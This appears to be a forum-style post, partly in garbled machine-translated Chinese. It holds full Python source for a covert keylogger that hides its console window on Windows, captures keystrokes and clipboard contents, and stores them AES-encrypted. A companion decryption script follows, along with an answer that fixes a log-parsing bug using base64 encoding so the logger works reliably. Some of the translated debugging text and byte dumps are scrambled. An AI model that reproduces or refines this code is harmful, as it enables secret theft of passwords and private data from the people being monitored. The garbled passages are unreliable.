import os
import sys
import datetime
import pyperclip
import time
import threading
import Crypto
from pynput import keyboard
from datetime import datetime
from Crypto.Cipher import AES
secret_key = b"--key--"
if len(secret_key) not in [16, 24, 32]:
raise ValueError("Invalid AES key length.")
if sys.platform == "win32":
import ctypes
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)
log_file = "path\keylogs.bin"
error_log_file = "path\error_logs.txt"
log_buffer = []
current_sentence = ""
def encrypt_log(data):
cipher = AES.new(secret_key, AES.MODE_EAX)
nonce = cipher.nonce
ciphertext, tag = cipher.encrypt_and_digest(data.encode())
return nonce + ciphertext + tag # Concatenating all parts
def decrypt_log(encrypted_data):
try:
nonce = encrypted_data[:16]
ciphertext = encrypted_data[16:-16]
tag = encrypted_data[-16:]
cipher = AES.new(secret_key, AES.MODE_EAX, nonce=nonce)
return cipher.decrypt_and_verify(ciphertext, tag).decode("utf-8")
except Exception as e:
return f"Decryption Error: {e}"
def log_error(message):
with open(error_log_file, "a") as f:
f.write(f"{datetime.now()} - {message}\n")
def on_press(key):
global log_buffer, current_sentence
try:
if hasattr(key, "char") and key.char:
text = key.char
else:
text = special_key_formatter(key)
if text == "[ENTER]":
timestamp =datetime.now().strftime("%Y-%m-%d %H:%M:%S")
encrypted_text = encrypt_log(f"{timestamp}: {current_sentence.strip()}")
log_buffer.append(encrypted_text)
current_sentence = ""
else:
current_sentence += text
if len(log_buffer) >= 10: # Adjust buffer size if needed
write_log()
except Exception as e:
print(f"Error: {e}")
def special_key_formatter(key):
special_keys = {
keyboard.Key.space: " ", # Space as an actual space
keyboard.Key.enter: "[ENTER]",
keyboard.Key.backspace: "[BACKSPACE]",
keyboard.Key.tab: "[TAB]",
keyboard.Key.shift: "",
keyboard.Key.shift_r: "",
keyboard.Key.ctrl: "[CTRL]",
keyboard.Key.ctrl_r: "[CTRL]",
keyboard.Key.alt: "[ALT]",
keyboard.Key.alt_r: "[ALT]",
keyboard.Key.esc: "[ESC]",
keyboard.Key.delete: "[DEL]",
keyboard.Key.up: "[UP]",
keyboard.Key.down: "[DOWN]",
keyboard.Key.left: "[LEFT]",
keyboard.Key.right: "[RIGHT]",
keyboard.Key.caps_lock: "[CAPS]",
}
return special_keys.get(key, f"[{key}]")
def write_log():
global log_buffer
if log_buffer:
with open(log_file, "ab") as f:
for entry in log_buffer:
f.write(entry + b"\n")
log_buffer = []
def log_clipboard():
global log_buffer
recent_text = ""
while True:
try:
clipboard_data = pyperclip.paste()
if clipboard_data and clipboard_data != recent_text:
timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
encrypted_clipboard = encrypt_log(f"{timestamp} [Clipboard]: {clipboard_data}")
log_buffer.append(encrypted_clipboard)
write_log()
recent_text = clipboard_data
time.sleep(5)
except Exception as e:
print(f"Clipboard logging error: {e}")
clipboard_thread = threading.Thread(target=log_clipboard, daemon =True)
clipboard_thread.start()
with keyboard.Listener(on_press=on_press) as listener:
listener.join()
编码用于解密log-
import Crypto
from Crypto.Cipher import AES
secret_key = b"--key--"
log_file = "path\keylogs.bin"
def decrypt_log(encrypted_data):
try:
nonce = encrypted_data[:16] # Extract nonce
ciphertext = encrypted_data[16:-16] # Extract ciphertext
tag = encrypted_data[-16:] # Extract tag
cipher = AES.new(secret_key, AES.MODE_EAX, nonce=nonce)
decrypted_text = cipher.decrypt_and_verify(ciphertext, tag).decode("utf-8")
return decrypted_text
except Exception as e:
return f"Decryption Error: {e}"
with open(log_file, "rb") as f:
for line in f:
try:
decrypted_text = decrypt_log(line.strip()) # Strip only for binary safety
print("Decrypted Output:", decrypted_text)
except Exception as e:
print(f"Decryption Error: {e}")
我已经验证了加密和解密结构 每个条目都存储为[2字节长度] + [nonce(16)] + [ciphertext] + [tag(16)] 我还确认了两个脚本之间的AES密钥一致性并检查了部分写入和损坏的条目,确保在写入后使用flush()以防止数据丢失,添加了理智检查以跳过不切实际的长度,打印的原始加密数据,以进行检查
样本输出(意外检测到的大尺寸): PGSQL 复制 编辑 原始加密数据:b'\ xa7 \ x17 \ x0e&je- \ x94 \ xd5 \ x14-c \ x14-c \ xfe` \ xd9 \ xd9 \ x12 \ x88 \ xe1 \ xe1 \ xbb/\ xbb/\ xf4 表示潜在的腐败或未对准的读物。 添加了针对条目长度问题的调试记录
示例错误消息: CSHARP 复制 编辑 [错误]不匹配的入口长度!预计23824,有2307。 提出对2字节长度字段的误解。 从头开始再生的日志文件toleting keylogs.bin并开始减少新鲜,但没有消除错误。
您的密文可以包含
\n
,因此编写
entry + b"\n"
使解密脚本读取部分条目。两个修复程序:
中的字体 在编写之前将
nonce + ciphertext + tag
转换为base64,然后在解密脚本中解码。这样可以确保每个条目是没有嵌入式新线的单个ASCII线。
而不是基于线的写入,而是写一个长度(例如4个字节),然后写一个确切的加密字节。在解密期间,首先阅读长度,然后阅读许多字节。这避免了不正确地分配密文。
这里是固定的代码:
import base64
def encrypt_log(data):
cipher = AES.new(secret_key, AES.MODE_EAX)
nonce = cipher.nonce
ciphertext, tag = cipher.encrypt_and_digest(data.encode())
raw = nonce + ciphertext + tag
return base64.b64encode(raw) # <-- encode in base64
def write_log():
global log_buffer
if log_buffer:
with open(log_file, "ab") as f:
for entry in log_buffer:
f.write(entry + b"\n") # entry is now base64-encoded
log_buffer = []
import base64
def decrypt_log(encoded_line):
try:
encrypted_data = base64.b64decode(encoded_line) # decode
nonce = encrypted_data[:16]
ciphertext = encrypted_data[16:-16]
tag = encrypted_data[-16:]
cipher = AES.new(secret_key, AES.MODE_EAX, nonce=nonce)
return cipher.decrypt_and_verify(ciphertext, tag).decode("utf-8")
except Exception as e:
return f"Decryption Error: {e}"
with open(log_file, "rb") as f:
for line in f:
decrypted_text = decrypt_log(line.strip())
print("Decrypted:", decrypted_text)
这种方式,每个条目都是单个ASCII线。无论在密文中发生什么字节,它们都会成为有效的base64字符,并且不会破坏行解析。